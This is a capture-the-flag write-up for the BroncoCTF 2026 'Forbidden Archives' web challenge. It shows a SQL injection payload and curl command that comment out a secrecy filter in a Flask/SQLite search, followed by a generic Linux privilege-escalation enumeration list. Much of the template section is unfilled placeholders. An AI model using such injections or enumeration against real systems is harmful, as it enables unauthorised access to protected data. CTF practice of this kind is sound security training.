← Back to Writeups
HTBN/AWeb

Forbidden Archives

XESXOR8/23/20263 min read
#web#htb#n/a

Forbidden Archives

Platform: Broncoctf2026 | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-07-11 | Status: Solved Techniques: comment_based_filter_bypass, like_clause_breakout, sqlite_injection

Summary

Task: Flask+SQLite book search where a forbidden book is hidden via an is_secret=0 filter in the SQL WHERE clause. Solution: SQLi in the ?search= LIKE clause — close the parenthesis and comment out the is_secret filter with -- to reveal the secret book and its flag.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: broncoctf2026 | ID: 20260711_broncoctf2026_forbidden_archives
  • Tags: sqlite, sql_injection, flask, filter_bypass, access_control_bypass, web, comment_injection
  • Indicators: single GET ?search= parameter, results filtered by an is_secret column, OR/UNION keywords stripped but comments allowed, Flask/Werkzeug backend with SQLite
  • Source: 20260711_broncoctf2026_forbidden_archives.md

Foothold

Vulnerability / Misconfiguration

  1. Comment_based_filter_bypass
  2. Like_clause_breakout
  3. Sqlite_injection
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • comment_based_filter_bypass
  • like_clause_breakout
  • sqlite_injection
  • Tags: sqlite, sql_injection, flask, filter_bypass, access_control_bypass, web, comment_injection

Original Writeup

<details><summary>Click to expand original content</summary>

Forbidden Archives — broncoctf2026

Description

I have recently gained access to these Forbidden Archives, though I've been trying to access a book titled 'All of the World's Knowledge' and it seems like there's another level of security as the high council of wizards have made it forbidden. Is there a way I can get around that?

Target: https://broncoctf-forbidden-archives.chals.io/

English summary: A Flask/Werkzeug book-search web app exposes a single GET parameter /?search=. One book, "All of the World's Knowledge", is marked forbidden and filtered out. The goal is to bypass that access control and read the book (which contains the flag).

Analysis

The site is a Flask/Werkzeug 3.1.8 app (Python 3.14.6) with a single GET search field /?search=. It queries a SQLite backend, and the query suffix is:

... LIKE '%<search>%') AND is_secret = 0 LIMIT 1

The forbidden book "All of the World's Knowledge" has is_secret = 1, so the AND is_secret = 0 clause filters it out of normal results. Authorization is enforced only in the SQL WHERE clause — there is no separate access-control check — which makes it bypassable through SQL injection.

The search parameter is directly interpolated into the LIKE expression, so it is injectable. Notes:

  • robots.txt, .git/HEAD, .env all returned 404 — no exposed source or config.
  • OR- and UNION-based SQLi payloads were stripped/filtered by keyword filtering, so classic boolean/union injection did not work.
  • Jinja/SSTI probes were not fruitful.

The keyword filter blocks OR/UNION but does not block SQL comments, so a comment-based filter bypass works.

Solution

The payload closes the LIKE string and its parenthesis, then uses a SQL comment (-- ) to neutralize the trailing AND is_secret = 0 filter, returning all rows including the secret one.

Injected payload: Knowledge%') -- (note the trailing space after --, required for SQLite line comments).

Resulting query fragment:

LIKE '%Knowledge%') -- %') AND is_secret = 0 LIMIT 1

Everything after -- is a comment, so the is_secret filter is gone.

curl -sS --get \
  --data-urlencode "search=Knowledge%') -- " \
  'https://broncoctf-forbidden-archives.chals.io/'

The response returns the book "All of the World's Knowledge" with the flag inside a <p> in the book card.

</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR